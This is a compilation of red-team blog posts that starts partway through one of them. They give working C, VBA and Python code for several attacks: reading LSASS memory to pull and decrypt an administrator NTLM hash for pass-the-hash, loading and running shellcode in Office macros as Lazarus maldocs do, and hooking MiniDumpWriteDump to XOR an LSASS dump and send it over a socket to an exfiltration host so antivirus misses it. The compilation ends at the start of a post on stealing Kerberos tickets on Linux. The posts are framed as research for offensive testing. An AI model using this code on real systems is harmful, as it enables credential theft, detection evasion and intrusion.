        result = ReadFile(pmem_fd, &length, 2, &bytes_read, NULL); //Read Lenght Field
        username = (LPWSTR)malloc(length + 2);
        memset(username, 0, length + 2);
        reader.QuadPart = v2p(currentElem + 0x98);
        username_pointer = readPhysMemPointer(reader); //Read LPWSTR
        reader.QuadPart = v2p(username_pointer);
        result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN);
        result = ReadFile(pmem_fd, username, length, &bytes_read, NULL); //Read string at LPWSTR
        wprintf(L"\n[+] Username: %s \n", username);
        free(username);

        ULONGLONG credentials_pointer = 0;
        reader.QuadPart = v2p(currentElem + 0x108);
        credentials_pointer = readPhysMemPointer(reader);
        if (credentials_pointer == 0) {
            printf("[+] Cryptoblob: (empty)\n");
            continue;
        }
        printf("[*] Credentials Pointer: 0x%08llx\n", credentials_pointer);

        ULONGLONG primaryCredentials_pointer = 0;
        reader.QuadPart = v2p(credentials_pointer + 0x10);
        primaryCredentials_pointer = readPhysMemPointer(reader);
        printf("[*] Primary credentials Pointer: 0x%08llx\n", primaryCredentials_pointer);

        USHORT cryptoblob_size = 0;
        reader.QuadPart = v2p(primaryCredentials_pointer + 0x18);
        result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN);
        result = ReadFile(pmem_fd, &cryptoblob_size, 4, &bytes_read, NULL);
        if (cryptoblob_size % 8 != 0) {
            printf("[*] Cryptoblob size: (not compatible with 3DEs, skipping...)\n");
            continue;
        }
        printf("[*] Cryptoblob size: 0x%x\n", cryptoblob_size);

        ULONGLONG cryptoblob_pointer = 0;
        reader.QuadPart = v2p(primaryCredentials_pointer + 0x20);
        cryptoblob_pointer = readPhysMemPointer(reader);
        //printf("Cryptoblob pointer: 0x%08llx\n", cryptoblob_pointer);

        unsigned char* cryptoblob = (unsigned char*)malloc(cryptoblob_size);
        reader.QuadPart = v2p(cryptoblob_pointer);
        result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN);
        result = ReadFile(pmem_fd, cryptoblob, cryptoblob_size, &bytes_read, NULL);
        printf("[+] Cryptoblob:\n");
        for (int i = 0; i < cryptoblob_size; i++) {
            printf("%02x", cryptoblob[i]);
        }
        printf("\n");
    }
    printf("\t\t================================================\n");
    free(needle_buffer);
    free(lsasrv);
}

If you wonder why I am not calling windows API to decrypt the info… It was 4:00 AM when we wrote this :(. Anyway, fire in the hole!

[!] LsaSrv.dll found! [0x7ff845130000-0x7ff8452ce000] (1695744 bytes)
                ===================[Crypto info]===================
[*] Offset for InitializationVector/h3DesKey/hAesKey is 305033
[*] IV Vector relative offset: 0x0013be98
                [/!\] IV Vector: d2e23014c6608529132d0f21144ee0df [/!\]
[*] 3DES Handle Key relative offset: 0x0013bf4c
[*] 3DES Handle Key pointer: 0x1d4d3610000
                [/!\] 3DES Key: 46bca8b85491846f5c7fb42700287d0437c49c15e7b76280 [/!\]
                ================================================
[*] LogonSessionList Relative Offset: 0x0012b0f1
[*] LogonSessionList: 0x7ff8452b52a0
                ===================[LogonSessionList]===================
[+] Username: Administrador
[*] Credentials Pointer: 0x1d4d3ba96c0
[*] Primary credentials Pointer: 0x1d4d3ae49f0
[*] Cryptoblob size: 0x1b0
[+] Cryptoblob:
f0e368d8302af9bbcd247687552e8207d766e674c99a61907e78a173d5e4d475df165ec1fcba3b5d3463f8bd7ce5fa6457d043147dcf26a6e03ec12d1216d57953a7f4cbdcaeec2c6a27787c332db706a5287a77957d09d546590d7f32a117f69d983290c01b1ad83cf66916ee76314c17605518a17d7ea9db2de530b1298e5178fcc638e1ae106542dcb46e37a09943dd10e3e2f15a99b93989361aa3a6e6ed8e98aab5578712bcf0f9e5a5372542f61a9032bf5d110278253c4f602107a02bf2cfe07fae7f81a4dee6440a596278e7c06eee06de5aa7f705bd6132dea0327ad869eca5da1538e098edfefcd050dd6e36a0a3196cdf5ee6786d0b62a3d526981f6c4fc503d43238887cf6f3c51cca01b912194242d7e5a76522aaf791c467ea6035a06219ea2aafc2860e6db56ddb77936871316e3f18fd9b1425f948c925171829e460cf7c31f9a0396705bcb1bfd0055b25de160cf816472180270f36e9224868d1377349f7bb001e7edfe52dbd1915a70fb686f850086732c57ba26423f7a3691ddb9b23b5f2166a56ee82d30571ffb79b222e707f6dc2cc5f986723d99229345b2d0b97371abb1573f59efecd6a

Let’s decrypt with python (yeah, we know, we are the worst :()

>>> from pyDes import *
>>> k = triple_des("46bca8b85491846f5c7fb42700287d0437c49c15e7b76280".decode("hex"), CBC, "\x00\x0d\x56\x99\x63\x93\x95\xd0")
>>> k.decrypt("f0e368d8302af9bbcd247687552e8207d766e674c99a61907e78a173d5e4d475df165ec1fcba3b5d3463f8bd7ce5fa6457d043147dcf26a6e03ec12d1216d57953a7f4cbdcaeec2c6a27787c332db706a5287a77957d09d546590d7f32a117f69d983290c01b1ad83cf66916ee76314c17605518a17d7ea9db2de530b1298e5178fcc638e1ae106542dcb46e37a09943dd10e3e2f15a99b93989361aa3a6e6ed8e98aab5578712bcf0f9e5a5372542f61a9032bf5d110278253c4f602107a02bf2cfe07fae7f81a4dee6440a596278e7c06eee06de5aa7f705bd6132dea0327ad869eca5da1538e098edfefcd050dd6e36a0a3196cdf5ee6786d0b62a3d526981f6c4fc503d43238887cf6f3c51cca01b912194242d7e5a76522aaf791c467ea6035a06219ea2aafc2860e6db56ddb77936871316e3f18fd9b1425f948c925171829e460cf7c31f9a0396705bcb1bfd0055b25de160cf816472180270f36e9224868d1377349f7bb001e7edfe52dbd1915a70fb686f850086732c57ba26423f7a3691ddb9b23b5f2166a56ee82d30571ffb79b222e707f6dc2cc5f986723d99229345b2d0b97371abb1573f59efecd6a".decode("hex"))[74:90].encode("hex")
'191d643eca7a6b94a3b6df1469ba2846'

We can check that indeed the Administrador’s NTLM hash is 191d643eca7a6b94a3b6df1469ba2846:

C:\Windows\system32>C:\Users\ortiga.japonesa\Downloads\mimikatz-master\mimikatz-master\x64\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 May  8 2021 00:30:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # sekurlsa::msv
[!] LogonSessionListCount: 0x7ff8452b4be0
[!] LogonSessionList: 0x7ff8452b52a0
[!] Data Address: 0x1d4d3bfb5c0

Authentication Id : 0 ; 120327884 (00000000:072c0ecc)
Session           : CachedInteractive from 1
User Name         : Administrador
Domain            : ACUARIO
Logon Server      : WIN-UQ1FE7E6SES
Logon Time        : 08/05/2021 0:44:32
SID               : S-1-5-21-3039666266-3544201716-3988606543-500
        msv :
         [00000003] Primary
         * Username : Administrador
         * Domain   : ACUARIO
         * NTLM     : 191d643eca7a6b94a3b6df1469ba2846 
         * SHA1     : 5f041d6e1d3d0b3f59d85fa7ff60a14ae1a5963d
         * DPAPI    : b4772e37b9a6a10785ea20641c59e5b2

MMmm… that PtH smell…

EoF

Playing with Windows Internals and reading Mimikatz code is a nice exercise to learn and practice new things. As we said at the begin, probably this approach is not the best (our knowledge on this topic is limited), so if you spot errors/misconceptions/typos please contact us so we can fix it.

The code can be found in our repo as SnoopyOwl.

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

One thousand and one ways to copy your shellcode to memory (VBA Macros)

18 February 2021 at 00:00

Dear Fellowlship, today’s homily is about how we can (ab)use different native Windows functions to copy our shellcode to a RWX section in our VBA Macros.

Prayers at the foot of the Altar a.k.a. disclaimer

The topic is old and basic, but with the recent analysis of the Lazarus’ maldocs it feels like discussing this technique may come in handy at this moment.

Introduction

As shown by NCC in his article “RIFT: Analysing a Lazarus Shellcode Execution Method” Lazarus Group used maldocs where the shellcode is loaded and executed without calling any of the classical functions. To achieve it the VBA macro used UuidFromStringA to copy the shellcode to the RWX region and then triggered its execution via lpLocaleEnumProc. The lpLocaleEnumProc was previously documented by @noottrak in his article “Abusing native Windows functions for shellcode execution”.

Using alternatives ways to copy the shellcode is nothing new, even there are a few articles about discussing it for inter-process injections (Inserting data into other processes’ address space by @Hexacorn, GetEnvironmentVariable as an alternative to WriteProcessMemory in process injections by @TheXC3LL and Windows Process Injection: Command Line and Environment Variables by @modexpblog, just to metion a few).

Returning to @nootrak’s article we can find a list of different native functions which can be used to trigger the execution, and even a tool to build maldocs where the functions used to allocate, copy, and execute the shellcode are randomly chosen. Quoted from the article:

I’m calling trigen (think 3 combo-generator) which randomly puts together a VBA macro using API calls from pools of functions for allocating memory (4 total), copying shellcode to memory (2 total), and then finally abusing the Win32 function call to get code execution (48 total - I left SetWinEventHook out due to aforementioned need to chain functions). In total, there are 384 different possible macro combinations that it can spit out.

The tool uses only 2 native functions to copy the shellcode, when there are dozens of them that can be used. So the number of possible combinations can grow A LOT.

In an extremely abstract way we can label the functions that can be (ab)used in two labels: one-shot functions and two-shot functions. The first family of functions are those that let you copy the shellcode directly to the desired address (for example, UuidFromStringA used by Lazarus); meanwhile two-shot functions are those where the copy has to be done in two-steps: first copy the shellcode to no man’s land, and then retrieve it (for example, SetEnvironmentVariable/GetEnvironmentVariable)

One-shot functions

Most of the functions falling into this category are functions used to convert info from format “A” to format “B”, or those applying any type of transformation to this info. This kind of functions can be spotted checking their arguments: if it receives an input buffer and an output buffer, it is a good candidate. Let’s check LdapUTF8ToUnicode for example:

WINLDAPAPI int LDAPAPI LdapUTF8ToUnicode(
  LPCSTR lpSrcStr,
  int    cchSrc,
  LPWSTR lpDestStr,
  int    cchDest
);

So, the parameters are:

lpSrcStr - A pointer to a null-terminated UTF-8 string to convert.
lpDestStr - A pointer to a buffer that receives the converted Unicode string, without a null terminator.

This is a good candidate that meets our criteria. We can test it with a simple PoC in C:

#include <Windows.h>
#include <Winldap.h>

#pragma comment(lib, "wldap32.lib")

int main(int argc, char** argv) {
	LPCSTR orig_shellcode = "\xec\xb3\x8c\xec\xb3\x8c"; // \xcc\xcc\xcc\xcc in UNICODE
	LPWSTR copied_shellcode = NULL;
	HANDLE heap = NULL;
	int ret = 0;
	int size = 0;
	
	heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
	copied_shellcode = HeapAlloc(heap, 0, 0x10);
	size = LdapUTF8ToUnicode(orig_shellcode, strlen(orig_shellcode), NULL, 0); // First call is to know the size
	ret = LdapUTF8ToUnicode(orig_shellcode, strlen(orig_shellcode), copied_shellcode, size);
	EnumSystemCodePagesW(copied_shellcode, 0); // Just to trigger the execution. Taken from Nootrak article.
	return 0;
}

As this function works doing a conversion from UTF-8 to UNICODE, we have to craft our shellcode (in this case just a bunch of int3) keeping this in mind.

Shellcode copied to our target RWX buffer
Shellcode copied to our target RWX buffer.

As we saw, it worked. It is time to translate the C code to the impious language of Mordor VBA:

Private Declare PtrSafe Function HeapCreate Lib "KERNEL32" (ByVal flOptions As Long, ByVal dwInitialSize As LongPtr, ByVal dwMaximumSize As LongPtr) As LongPtr
Private Declare PtrSafe Function HeapAlloc Lib "KERNEL32" (ByVal hHeap As LongPtr, ByVal dwFlags As Long, ByVal dwBytes As LongPtr) As LongPtr
Private Declare PtrSafe Function EnumSystemCodePagesW Lib "KERNEL32" (ByVal lpCodePageEnumProc As LongPtr, ByVal dwFlags As Long) As Long
Private Declare PtrSafe Function LdapUTF8ToUnicode Lib "WLDAP32" (ByVal lpSrcStr As LongPtr, ByVal cchSrc As Long, ByVal lpDestStr As LongPtr, ByVal cchDest As Long) As Long


Sub poc()
    Dim orig_shellcode(0 To 5) As Byte
    Dim copied_shellcode As LongPtr
    Dim heap As LongPtr
    Dim size As Long
    Dim ret As Long
    Dim HEAP_CREATE_ENABLE_EXECUTE As Long
    
    HEAP_CREATE_ENABLE_EXECUTE = &H40000
    
    '\xec\xb3\x8c\xec\xb3\x8c ==> \xcc\xcc\xcc\xcc
    orig_shellcode(0) = &HEC
    orig_shellcode(1) = &HB3
    orig_shellcode(2) = &H8C
    orig_shellcode(3) = &HEC
    orig_shellcode(4) = &HB3
    orig_shellcode(5) = &H8C
    
    heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0)
    copied_shellcode = HeapAlloc(heap, 0, &H10)
    size = LdapUTF8ToUnicode(VarPtr(orig_shellcode(0)), 6, 0, 0)
    ret = LdapUTF8ToUnicode(VarPtr(orig_shellcode(0)), 6, copied_shellcode, size)
    ret = EnumSystemCodePagesW(copied_shellcode, 0)
End Sub

Attach a debugger and run the macro!

Macro executing our shellcode
Macro executing our shellcode.

Another example can be PathCanonicalize:

BOOL PathCanonicalizeA(
  LPSTR  pszBuf,
  LPCSTR pszPath
);

The parameters meets our criteria:

pszBuf - A pointer to a string that receives the canonicalized path. You must set the size of this buffer to MAX_PATH to ensure that it is large enough to hold the returned string.

pszPath -  pointer to a null-terminated string of maximum length MAX_PATH that contains the path to be canonicalized.

The PoC:

#include <Windows.h>
#include <Shlwapi.h>

#pragma comment(lib, "Shlwapi.lib")

int main(int argc, char** argv) {
	LPCSTR orig_shellcode = "\xcc\xcc\xcc\xcc";
	LPSTR copied_shellcode = NULL;
	HANDLE heap = NULL;
	BOOL ret = 0;
	int size = 0;

	heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
	copied_shellcode = HeapAlloc(heap, 0, 0x10);
	PathCanonicalizeA(copied_shellcode, orig_shellcode);
	EnumSystemCodePagesW(copied_shellcode, 0);
	return 0;
}

Aaand fire in the hole!

Shellcode copied to RWX buffer using PathCanonicalizeA
Shellcode copied to RWX buffer using PathCanonicalizeA.

Two-shots functions

With this label we are referring to functions that first need to save the shellcode in a intermediate place, like an environment variable/window title/etc, and then retrieve it from that place. The easiest to spot are the Set/Get twins.

A simple example that comes to our mind is saving the shellcode as a Console Tittle with SetConsoleTitleA and then calling GetConsoleTitleA to save it in our RWX region:

#include <Windows.h>

int main(int argc, char** argv) {
	LPCSTR orig_shellcode = "\xcc\xcc\xcc\xcc";
	LPSTR copied_shellcode = NULL;
	HANDLE heap = NULL;
	BOOL ret = 0;

	heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
	copied_shellcode = HeapAlloc(heap, 0, 0x10);
	SetConsoleTitleA(orig_shellcode);
	GetConsoleTitleA(copied_shellcode, MAX_PATH);
	EnumSystemCodePagesW(copied_shellcode, 0);
	return 0;
}

Test it:

Shellcode copied using a Set/Get pair
Shellcode copied using a Set/Get pair.

Also IPC mechanisms can fall into our “two-shots” category. For example, we can create an anonymous pipe to use it as no man’s place and call WriteFile/ReadFile to copy the shellcode:

#include <Windows.h>

int main(int argc, char** argv) {
	LPCSTR orig_shellcode = "\xcc\xcc\xcc\xcc";
	LPSTR copied_shellcode = NULL;
	HANDLE heap = NULL;
	HANDLE source = NULL;
	HANDLE sink = NULL;
	SECURITY_ATTRIBUTES saAttr;
	DWORD size = 0;

	heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
	copied_shellcode = HeapAlloc(heap, 0, 0x10);

	saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
	saAttr.bInheritHandle = TRUE;
	saAttr.lpSecurityDescriptor = NULL;

	CreatePipe(&sink, &source, &saAttr, 0);
	WriteFile(source, orig_shellcode, 4, &size, NULL);
	ReadFile(sink, copied_shellcode, 4, &size, NULL);

	EnumSystemCodePagesW(copied_shellcode, 0);
	return 0;
}

It can be translated to VBA as:

Private Declare PtrSafe Function HeapCreate Lib "kernel32" (ByVal flOptions As Long, ByVal dwInitialSize As LongPtr, ByVal dwMaximumSize As LongPtr) As LongPtr
Private Declare PtrSafe Function HeapAlloc Lib "kernel32" (ByVal hHeap As LongPtr, ByVal dwFlags As Long, ByVal dwBytes As LongPtr) As LongPtr
Private Declare PtrSafe Function EnumSystemCodePagesW Lib "kernel32" (ByVal lpCodePageEnumProc As LongPtr, ByVal dwFlags As Long) As Long
Private Declare PtrSafe Function CreatePipe Lib "kernel32" (phReadPipe As LongPtr, phWritePipe As LongPtr, lpPipeAttributes As SECURITY_ATTRIBUTES, ByVal nSize As Long) As Long
Private Declare PtrSafe Function ReadFile Lib "kernel32" (ByVal hFile As LongPtr, ByVal lpBuffer As LongPtr, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Long) As Long
Private Declare PtrSafe Function WriteFile Lib "kernel32" (ByVal hFile As LongPtr, ByVal lpBuffer As LongPtr, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Long) As Long


Private Type SECURITY_ATTRIBUTES
        nLength As Long
        lpSecurityDescriptor As LongPtr
        bInheritHandle As Long
End Type

Sub poc()
    Dim orig_shellcode(0 To 3) As Byte
    Dim copied_shellcode As LongPtr
    Dim heap As LongPtr
    Dim size As Long
    Dim ret As Long
    Dim source As LongPtr
    Dim sink As LongPtr
    Dim saAttr As SECURITY_ATTRIBUTES
    Dim HEAP_CREATE_ENABLE_EXECUTE As Long
    
    HEAP_CREATE_ENABLE_EXECUTE = &H40000
    
    orig_shellcode(0) = &HCC
    orig_shellcode(1) = &HCC
    orig_shellcode(2) = &HCC
    orig_shellcode(3) = &HCC
    
    heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0)
    copied_shellcode = HeapAlloc(heap, 0, &H10)
    
    saAttr.nLength = LenB(SECURITY_ATRIBUTES)
    saAttr.bInheritHandle = 1
    saAttr.lpSecurityDescriptor = 0
    
    ret = CreatePipe(sink, source, saAttr, 0)
    ret = WriteFile(source, VarPtr(orig_shellcode(0)), 4, size, 0)
    ret = ReadFile(sink, copied_shellcode, 4, size, 0)
    ret = EnumSystemCodePagesW(copied_shellcode, 0)
End Sub

EoF

Although the topic discussed in this article is old, we tend to see always the same patterns (probably just because people repeats what it is highly shared in internet). We encourage to explore alternatives ways to do the things and not just follow blindly what others do.

As Red Teamers we have to repeat TTPs seen in the wild but also we need to explore more paths. There are dozens of ways to copy and trigger your shellcode, just don’t stick to one and be creative!

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

Hooks-On Hoot-Off: Vitaminizing MiniDump

9 February 2021 at 10:00

Dear Fellowlship, today’s homily is about how we overcame an AV/EDR which, in spite of not being able to detect a LSASS memory dump process, it detected the signature of the dump-file and decided to mark it as malicious. So we decided to modify MiniDumpWriteDump behavior. Please, take a seat and listen to the story.

Prayers at the foot of the Altar a.k.a. disclaimer

As you may already know, MiniDumpWriteDump receives, among others, a handle to an already opened or created file. This is a PoC about how to overcome the limitation imposed by this function, which will take care of the whole memory-read/write-buffer-to-file process.

It is recommended to perform this dance making use of API unhooking to make direct SYSCALLS to avoid AV/EDR hooks in place, as explained in the useful Dumpert by Outflanknl, or by any other evasion method. There are a lot of good resources explaining the topic, so we are not going to cover it here.

Introduction

During a Red Team assessment we came into a weird nuance were an AV/EDR, which we already thought bypassed, was erasing the dump file generated from the LSASS process memory.

miniDumpWriteDump’s signature is as follows:

BOOL MiniDumpWriteDump(
  HANDLE                            hProcess,
  DWORD                             ProcessId,
  HANDLE                            hFile,
  MINIDUMP_TYPE                     DumpType,
  PMINIDUMP_EXCEPTION_INFORMATION   ExceptionParam,
  PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
  PMINIDUMP_CALLBACK_INFORMATION    CallbackParam
);

as per the MSDN API documentation

Once the function is called, the file provided as the hFile parameter will be filled up with the memory of the LSASS process, as a MDMP format file.

MiniDumpWriteDump takes care of all the magic comes-and-goes related to acquiring process memory and writing it to the provided file. So nice of it!

However, this kind of automated process lefts us with no control whatsoever over the memory buffer written to the file.

We thought it might be nice to have a way to overcome such a limitation.

Digging dbgcore.dll internals

To inspect the inners, we’ll be firing up WinDbg with a, rather simple, LSASS dumper implementation making use of the arch-known MiniDumpWritedump. This implementation requires the LSASS process PID as parameter to run. Calling it, will provide a full memory dump saved to c:\test.dmp. Simple as that. This .dmpfile can be processed with the usual tools.

#include <stdio.h>
#include <Windows.h>
#include <DbgHelp.h>

#pragma comment (lib, "Dbghelp.lib")

void minidumpThis(HANDLE hProc)
{
 
    const wchar_t* filePath = L"C:\\test.dmp";
    HANDLE hFile = CreateFile(filePath, GENERIC_ALL, 0, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
    if (!hFile)
    {
        printf("No dump for you. Wrong file\n");
    } 
    else
    {
        DWORD lsassPid = GetProcessId(hProc);
        printf("Got PID:: %i\n", lsassPid);

        BOOL Result = MiniDumpWriteDump(hProc, lsassPid, hFile, MiniDumpWithFullMemory, NULL, NULL, NULL);

        CloseHandle(hFile);

        if (!Result)
        {
            printf("No dump for you. Minidump failed\n");
        }
    }

    return;
}

BOOL IsElevated() {
    BOOL fRet = FALSE;
    HANDLE hToken = NULL;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        TOKEN_ELEVATION Elevation = { 0 };
        DWORD cbSize = sizeof(TOKEN_ELEVATION);
        if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
            fRet = Elevation.TokenIsElevated;
        }
    }
    if (hToken) {
        CloseHandle(hToken);
    }
    return fRet;
}

BOOL SetDebugPrivilege() {
    HANDLE hToken = NULL;
    TOKEN_PRIVILEGES TokenPrivileges = { 0 };

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
        return FALSE;
    }

    TokenPrivileges.PrivilegeCount = 1;
    TokenPrivileges.Privileges[0].Attributes = TRUE ? SE_PRIVILEGE_ENABLED : 0;

    const wchar_t *lpwPriv = L"SeDebugPrivilege";
    if (!LookupPrivilegeValueW(NULL, (LPCWSTR)lpwPriv, &TokenPrivileges.Privileges[0].Luid)) {
        CloseHandle(hToken);
        printf("I dont have SeDebugPirvs\n");
        return FALSE;
    }

    if (!AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
        CloseHandle(hToken);
        printf("Could not adjust to SeDebugPrivs\n");

        return FALSE;
    }

    CloseHandle(hToken);
    return TRUE;
}

int main(int argc, char* args[])
{
    DWORD lsassPid = atoi(args[1]);
    HANDLE hProcess = NULL;
    if (!IsElevated()) {
        printf("not admin\n");
        return -1;
    }
    if (!SetDebugPrivilege()) {
        printf("no SeDebugPrivs\n");
        return -1;
    }

    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsassPid);
    
    minidumpThis(hProcess);
    CloseHandle(hProcess);
 return 0;
}

Once compiled and debugged with WinDbg some breakpoints will be placed to aid us in the process:

bp miniDumpWriteDump    // Breakpoint at miniDumpWriteDump address
g                       // go (continue execution)
p                       // step-in
bp NtWriteFile          // Breakpoint at NtWriteFile
g                       // go (continue execution)
k                       // and, finally, print the backtrace 

Taking a look at the backtrace produced once the execution flow arrives to NtWriteFile, we can see how the last call inside dbgcore.dll, before letting the OS take care of the file-writing process, is made from a function called WriteAll laying inside the Win32FileOutputProvider.

WinDbg backtrace from NtWriteFile at MiniDumpWritedump
WinDbg backtrace.

However, this function is not publicly available to use, as the DLL won’t export it. By inspecting the library, and its base address, we can easily determine the function offset, which seems to be 0xb4b0 (offset = abs_address - base_address)

By peeking a little bit more into the WriteAll function, we determined that the arguments passed to it were:

  • arg1: File Handler
  • arg2: Buffer (which is exactly what we intended to have from the beginning)
  • arg3: Size
dbgcore.dll!Win32FileOutputProvider::WriteAll disass
dbgcore.dll!Win32FileOutputProvider::WriteAll disassembly

Inspecting the memory at the direction given in [rdx] we can see the beginning of the dump file.

dbgcore.dll!Win32FileOutputProvider::WriteAll buffer at rdx
dbgcore.dll!Win32FileOutputProvider::WriteAll Memory pointed by [rdx]

Therefore, it should be fairly straightforward to hook into this function to access the buffer and modify it as needed.

Call me ASMael

The idea of a hook is to modify the “normal” execution flow of an application. Among others, function hooks are placed by many AV/EDR providers in order to monitor certain function calls to discover undesired behaviors.

In this case, to detour the function execution, a direct memory write was implemented over the WriteAll address. This function was being called over and over during the dump process, likely to fragment the memory writes to smaller pieces and to retrieve different parts of the process being dumped, thus forcing us to restore the original bytes after every detoured call.

Originally, it would look like this:

Original execution flow schema
Original execution flow schema

Note that our primary intention here is not to re-implement the WriteAll function, but to modify the buffer, then restore the original overwritten bytes, and finally call WriteAll to let it do its job with the new buffer. Simplest way to achieve it would be by making the execution flow jump as soon as it reaches WriteAll:

mov r10, <__TRAMPOLINE_ADDRESS>
jmp r10
Modified execution flow schema
Modified execution flow schema

That assembly lines translate to the following opcodes to be written at the beginning of the WriteAll function:

uint8_t trampoline_assembly[13] = {
    0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,     // mov r10, NEW_LOC_@ddress
    0x41, 0xFF, 0xE2        // jmp r10
};

Where all those 0x00 should be replaced by the _trampoline function address.

Which translates to something as simple as:

 const char* dbgcore_name = "dbgcore.dll";
 intptr_t dbgcore_handle = (intptr_t)LoadLibraryA(dbgcore_name);

 intptr_t writeAll_offset = 0xb4b0;
 writeAll_abs = dbgcore_handle + writeAll_offset;

 void* _hoot_trampoline_address = (void*)_hoot_trampoline;
 memcpy(&trampoline_assembly[2], &_hoot_trampoline_address, sizeof(_hoot_trampoline_address));

Jumping into the trampoline

As stated before, the _trampoline should implement the following logic:

- Perform the required buffer operations (such as encryption or exfiltration)
- Restore the original overwritten bytes from `WriteAll`.
- Call the original `WriteAll` function with the modified buffer.
- Write the hook again in the `WriteAll` function. 
UINT32 _hoot_trampoline(HANDLE file_handler, void* buffer, INT64 size) {
    
    // The position calculation lines will make sense in the Prowlblems section ^o^
    long high_dword = NULL;
    DWORD low_dword = SetFilePointer(our_dmp_handle, NULL, &high_dword, FILE_CURRENT);
    long pos = high_dword << 32 | low_dword;

    unsigned char *new_buff = hoot(buffer, size, pos);  // Perform buffer operations: Encrypt, nuke, send it...

    // Overwrite the WriteAll initial bytes to perform a direct jmp to our _trampoline_function
    WriteProcessMemory(hProcess,
         (LPVOID*)writeAll_abs,
         &overwritten_writeAll,
         sizeof(overwritten_writeAll),
         NULL
    );      // Restore original bytes

    /* Call the WriteAll absolute address (cast it to a function that
    returns an UINT32 and 
    receives a HANDLE, a pointer to a buffer and an INT64)
    */
    UINT32 ret = ( (UINT32(*)(HANDLE, void*, INT64) ) (writeAll_abs) ) (file_handler, (void*)new_buff, size);      // erg...
    
    // Rewrite the hook at the beginning of the WriteAll
    WriteProcessMemory(hProcess, (LPVOID*)writeAll_abs, &trampoline_assembly, sizeof(trampoline_assembly), NULL);

    return ret;
}

The hoot function may implement a variety of modifications or operations over the passed buffer. In this PoC we’re just XORing the contents of the buffer with a single byte, and sending it via socket connection to a receiving server. It also provides a simple in-memory buffer nuke to avoid writing any contents of the actual buffer to disk.

This proved to be more than enough to prevent any AV/EDR solution from removing the dump file from the computer.

unsigned char* hoot(void* buffer, INT64 size, long pos) {
    unsigned char* new_buff = (unsigned char*) buffer;

    if (USE_ENCRYPTION) {
        new_buff = encrypt(buffer, size, XOR_KEY);
    }
  
    if (EXFIL) {
        s = getRawSocket(EXFIL_HOST, EXFIL_PORT);
        if(s) {
            sendBytesRaw(s, (const char*)new_buff, size, pos);
        }
        else {
            printf("[!] ERR:: SOCKET NOT READY\n");
         }
    }

    if (!WRITE_TO_FILE) {
        memset(new_buff, 0x00, size);
    }
   
    return new_buff;
}

Prowlblems

Once the exfiltration/encryption tasks were coded and we started testing, we realized that the WriteAll function was not creating the dump in a sequential manner. It was actually making NtWriteFile jump all over the file writing bytes here and there by setting an offset to write to.

__kernel_entry NTSYSCALLAPI NTSTATUS NtWriteFile(
  HANDLE           FileHandle,
  HANDLE           Event,
  PIO_APC_ROUTINE  ApcRoutine,
  PVOID            ApcContext,
  PIO_STATUS_BLOCK IoStatusBlock,
  PVOID            Buffer,
  ULONG            Length,
  PLARGE_INTEGER   ByteOffset,      // Right here O^O
  PULONG           Key
);

After having a nice talk with @TheXC3LL, he found this little nifty trick to find out where the cursor was in the file handler received in our _trampoline function: Get current cursor location on a file pointer

long high_dword = NULL;
DWORD low_dword = SetFilePointer(our_dmp_handle, NULL, &high_dword, FILE_CURRENT);
long pos = high_dword << 32 | low_dword;

Once obtained, we could easily tell our receiving server where in the file it should place the received buffer, by sending a buffer composed of the offset, the size of the modified buffer, and the modified buffer itself. Creating a simple protocol as:

   4B     4B       <SIZE>B  
<OFFSET><SIZE><BUFFFFFFFFFFFER>
Buffer exfiltrations succeded
Dump reconstruction from received buffer

Related projects

SharpMiniDump with NTFS transactions by PorLaCola25 based on b4rtik’s SharpMiniDump

Lsass Minidump file seen as Malicious by McAfee AV by K4nfr3

EoF

Although this wasn’t an incredible discovery, playing with memory is always fun ^o^. Also, if you made it to the end of this article, you might want the full code of this PoC. Available as usual in our GitHub, Adepts-Of-0xCC

Feel free to give us feedback at our twitter @AdeptsOf0xCC.

The Kerberos Credential Thievery Compendium (GNU/Linux)

28 January 2021 at 00:00

Dear Fellowlship, today’s homily is a compendium of well-known techniques used in GNU/Linux to steal kerberos credentials during post-exploitation stages. Please, take a seat and listen to the story.

Prayers at the foot of the Altar a.k.a. disclaimer

The techniques discussed in this article are based on the paper Kerberos Credential Thievery (GNU/Linux) (2017). The approximation of using inotify to steal ccache files, the injection into process to extract tickets from the kernel keyring and the usage of LD_PRELOAD have been used by us in real engagements. The rest has been just tested on lab environments.

The art of hooking (I): LD_PRELOAD

The first approach that we are going to focus is the usage of LD_PRELOAD to hook functions related to kerberos, so we can deploy a custom shared object destined to steal plaintext credentials from those programs using kerberos authentication.

